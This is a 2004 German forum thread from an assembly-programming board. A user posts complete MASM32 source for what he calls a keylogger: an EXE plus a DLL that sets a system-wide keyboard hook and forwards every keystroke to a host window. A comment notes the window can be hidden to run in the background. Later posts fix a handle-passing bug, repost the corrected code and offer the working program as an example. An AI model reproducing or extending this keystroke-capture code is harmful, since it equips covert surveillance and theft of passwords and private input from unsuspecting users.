Fenster empfängt nicht alle Nachrichten

Hier könnt ihr sowohl zur x86 Architektur als auch zu Win32ASM Fragen stellen.

Moderatoren: crack, Marwin, Krüsty

Antworten
Peter III
Member
Beiträge: 17
Registriert: Montag 16. August 2004, 13:53

Beitrag von Peter III » Mittwoch 15. Dezember 2004, 18:02

Hallo zusammen,

erstmal sorry für mein Deutsch, bin ein Ausländer :P

Also, ich schreibe zur Zeit einen kleinen KeyLogger mit masm32.
Das Projekt besteht aus einem *.exe sowie einen *.dll die funktionen InstallHook und UninstallHook exportiert.

Das ganze sieht so aus:
1. Nachdem start des EXE wird die Funktion InstallHook aus dem DLL aufgerufen.
2. Nachdem irgendeine Taste gedrückt wurde, sendet die DLL eine Message an das Hostanwendung mittels
SendMessage
3. EXE "empfängt" die Nachricht und verarbeitet ihn weiter
4. Nachdem das Fenster des EXE geschlossen wird, wird die Funktion UninstallHook aus dem DLL aufgerufen
um das Hook aufzuheben.

So nun zu meinem Problem.
Also wie gesagt alles funzt einwandfrei, bloss das Hauptfenster empfängt keine Nachricht von den DLL.
Dass die DLL richtig funktioniert, zweifele ich nicht, denn wenn ich das Host-Programm im C++ schreibe,
funzt es 100%.
Also es liegt beim *.exe und nicht beim *.dll

hier ist der Code des EXE

Code: Alles auswählen

.386
.model flat, stdcall 
option casemap :none

include  windows.inc
include  kernel32.inc
include  user32.inc

includelib	kernel32.lib
includelib  user32.lib

WndProc PROTO :DWORD, :DWORD, :DWORD, :DWORD

.DATA
	szCaption  	db "rkl",0
	szClassName  db "rkl",0
	hLib  	dd 0
	szLibName  db "hookdll.dll",0
	lpfnInstHook	dd 0
	szInstHook  db "InstallHook",0
	lpfnUninstHook	dd 0
	szUninstHook	db "UninstallHook",0
	wc    	WNDCLASSEX<>
	WM_KEYHOOK  equ WM_USER+100

.DATA?  	
	hInstance  	dd ?
	hIcon    dd ?
	hCursor  	dd ?
	hWnd    dd ?

.CODE
;####################################################################################################
start:  
  	invoke GetModuleHandle, NULL
  	mov hInstance, eax
  invoke LoadIcon,hInstance,IDI_APPLICATION
  	mov hIcon, eax
  	invoke LoadCursor, NULL, IDC_ARROW
  	mov hCursor, eax
  	
  	mov  wc.cbSize,sizeof WNDCLASSEX
  	mov  wc.style,CS_BYTEALIGNCLIENT or CS_BYTEALIGNWINDOW
  	push offset WndProc
  	pop  wc.lpfnWndProc
  	mov  wc.cbClsExtra,NULL
  	mov  wc.cbWndExtra,NULL
  	push hInstance
  	pop  wc.hInstance
  	push COLOR_BTNFACE+1
  	pop  wc.hbrBackground
  	mov  wc.lpszMenuName,NULL
  	push offset szClassName
  	pop  wc.lpszClassName
  	push hIcon
  	pop  wc.hIcon
  	push hIcon
  	pop  wc.hIconSm
  	push hCursor
  	pop  wc.hCursor
  
  	invoke RegisterClassEx, addr wc
  
  	invoke CreateWindowEx,	WS_EX_LEFT,addr szClassName,addr szCaption,
                        	WS_OVERLAPPEDWINDOW, 250, 250, 250, 150, NULL, NULL, hInstance, NULL
  	mov hWnd, eax
  
  invoke ShowWindow,  hWnd, SW_SHOW ; SW_HIDE um im Hintergrung laufen zu lassen
  	invoke UpdateWindow,hWnd
  
  	call MsgLoop
  	invoke ExitProcess, eax

MsgLoop PROC
  	LOCAL msg:MSG
  
  	Startloop:
    	invoke GetMessage, addr msg, NULL, 0, 0
    	or eax,eax
    	je Exitloop
    	invoke DispatchMessage,addr msg
    	jmp Startloop
  	Exitloop:
  	mov eax, msg.wParam
  	ret
MsgLoop ENDP

WndProc PROC hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
	
;-------------------------------------------------------
  	.if uMsg == WM_CREATE 
    invoke LoadLibrary, addr szLibName
    mov hLib, eax
    invoke GetProcAddress, hLib, addr szInstHook
    mov lpfnInstHook, eax
    push hWnd  
    call dword ptr lpfnInstHook	
    	xor eax, eax
    	ret
   ;--------------------------------------------------------  	
    .elseif uMsg == WM_DESTROY
    	invoke GetProcAddress, hLib, addr szUninstHook
    	mov lpfnUninstHook, eax
    	call dword ptr lpfnUninstHook
    	invoke FreeLibrary, hLib
    	invoke PostQuitMessage, NULL
    	xor eax,eax
    	ret
   ;--------------------------------------------------------	
    .elseif uMsg == WM_KEYHOOK
    	invoke MessageBox, NULL, 0, 0, 0
    	xor eax, eax
    	ret
  	.endif
  ;--------------------------------------------------------
  	invoke DefWindowProc,hWin,uMsg,wParam,lParam
  	ret
WndProc ENDP

END start
und hier die DLL

Code: Alles auswählen

.386
.MODEL flat,stdcall
OPTION CASEMAP:NONE

include  windows.inc
include  user32.inc
includelib  user32.lib



.DATA
	hDllInstance	dd  0
	hhkHook  	dd  0	
	WM_KEYHOOK  equ WM_USER+100	
	
	szUninstalled   db "Hook uninstalled",0
	szInstalled  db "Hook installed",0

Shared SEGMENT	;Shared Segment, Project mit "/SECTION:Shared,RWS" linken
	hWindow	dd 0
Shared ENDS 

.CODE
KeyboardHookProc proc dwCode:DWORD, wParam:WPARAM, lParam:LONG

	cmp dwCode, 0; 0 = HC_ACTION
	jne nexthook
	mov eax, lParam
	and eax, 40000000h
	cmp eax, 40000000h
	je nexthook
    invoke SendMessage, hWindow, WM_KEYHOOK, wParam, lParam
	nexthook:
    invoke CallNextHookEx, hhkHook, dwCode, wParam, lParam
	RET 
	
KeyboardHookProc EndP

InstallHook proc hParent:HWND

	mov eax, hParent  ; uebergebene Handle des Main-Window
	mov hWindow, eax  ; im hWindow für spater sichern
    invoke SetWindowsHookEx, WH_KEYBOARD, KeyboardHookProc, hDllInstance, NULL 
    mov hhkHook, eax
    .if eax != 0
  invoke MessageBox, NULL, addr szInstalled, 0, 0
	.endif
    mov eax, TRUE
  	ret
  	
InstallHook endp

UninstallHook proc

	invoke UnhookWindowsHookEx, hhkHook
	.if eax != 0
  invoke MessageBox, NULL, addr szUninstalled, 0, 0
	.endif
	mov eax, TRUE
	ret
	
UninstallHook EndP

DllEntry proc hInstance:HINSTANCE, reason:DWORD, reserved1:DWORD

	cmp reason, 1  ;1 = DLL_PROCESS_ATTACH
	jne ende
	mov eax, hInstance
	mov hDllInstance, eax 
	ende:
	mov  eax,TRUE
	ret
	
DllEntry Endp

End DllEntry
Was mache ich falsch???
Warum empfängt das Fenster keine Nachricht "WM_KEYHOOK" ?????

Vielen Dank im voraus
Grüß
Peter

Peter III
Member
Beiträge: 17
Registriert: Montag 16. August 2004, 13:53

Beitrag von Peter III » Mittwoch 15. Dezember 2004, 19:02

ich bins wieder,

also ich weiss jetzt wo mein Problem liegt, weiss aber nicht wie es zu lösen ist :wacko:

Also die DLL sendet jedes mal wenn eine Taste gedrückt wird, eine Nachricht von Typ WM_KEYHOOK an das EXE. SendMessage erwartet als erste Parametr Handle des Fenster, an welche die Nachricht zu senden ist.
Dieses Wert versuche ich beim aufruf des InstallHook aus dem DLL, an die DLL zu übergeben

push hWnd
call dword ptr lpfnInstHook

nun hab ich festgestellt das hWindow im DLL aus mir unklarem Grung NULL bleibt.
die Message wird zwar korrekt gesendet, aber nicht an das Hauptfenster des exe, da hWindow null ist.

die Variable hWindow im DLL hab ich im Shared Segment untergebracht, damit es allem Prozessen zu verfügung steht, und mit 0 initialisiert. Linker parametern auf /section:Shared,RWS ergänzt.

Ich verstehe nicht warum das nicht funzt :wacko: :wacko: :wacko:

Wenn ich das EXE im C++ schreibe dan geht es.
Die Handle wird korrekt übergeben, sodass SendMessage kein Problemen hat die Nachricht an das richtige Fenster zu senden.

Need help :( :( :( :( :(

Peter III
Member
Beiträge: 17
Registriert: Montag 16. August 2004, 13:53

Beitrag von Peter III » Donnerstag 16. Dezember 2004, 07:28

:) :) :)

Hey Leute hat sich erledigt :D

Aber trotzdem Danke ;)

Benutzeravatar
Marwin
Moderator
Beiträge: 307
Registriert: Donnerstag 8. Mai 2003, 21:19
Wohnort: Seelow, Deutschland
Kontaktdaten:

Beitrag von Marwin » Donnerstag 16. Dezember 2004, 20:51

Hallo Peter III,

könntest du der Vollständigkeit halber kurz die Lösung deines Problems posten?

Grüße,
Marwin

Peter III
Member
Beiträge: 17
Registriert: Montag 16. August 2004, 13:53

Beitrag von Peter III » Donnerstag 23. Dezember 2004, 15:18

Hallo Marwin!

klar kann ich das :) Bin Dummkopf, hätte das gleich machen sollen ;)

Code: Alles auswählen

WndProc PROC hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

;-------------------------------------------------------
  .if uMsg == WM_CREATE 
   invoke LoadLibrary, addr szLibName
   mov hLib, eax
   invoke GetProcAddress, hLib, addr szInstHook
   mov lpfnInstHook, eax
   push hWnd                                        ;<<<<<<<<<<<<<<<<<<< FALSCH, es muss hWin übergeben werden
   call dword ptr lpfnInstHook 
    xor eax, eax
    ret
 ;--------------------------------------------------------   
   .elseif uMsg == WM_DESTROY
    invoke GetProcAddress, hLib, addr szUninstHook
    mov lpfnUninstHook, eax
    call dword ptr lpfnUninstHook
    invoke FreeLibrary, hLib
    invoke PostQuitMessage, NULL
    xor eax,eax
    ret
 ;-------------------------------------------------------- 
   .elseif uMsg == WM_KEYHOOK
    invoke MessageBox, NULL, 0, 0, 0
    xor eax, eax
    ret
  .endif
;--------------------------------------------------------
  invoke DefWindowProc,hWin,uMsg,wParam,lParam
  ret
WndProc ENDP


Also anstatt hWnd sollte man hWin übergeben. Da es im WndProc als hWin, und nicht als hWnd deklariert ist.

Amsonsten funzt das Programm 100% und kann als Beispiel benutzt werden ;)


Mfg.
Peter

Antworten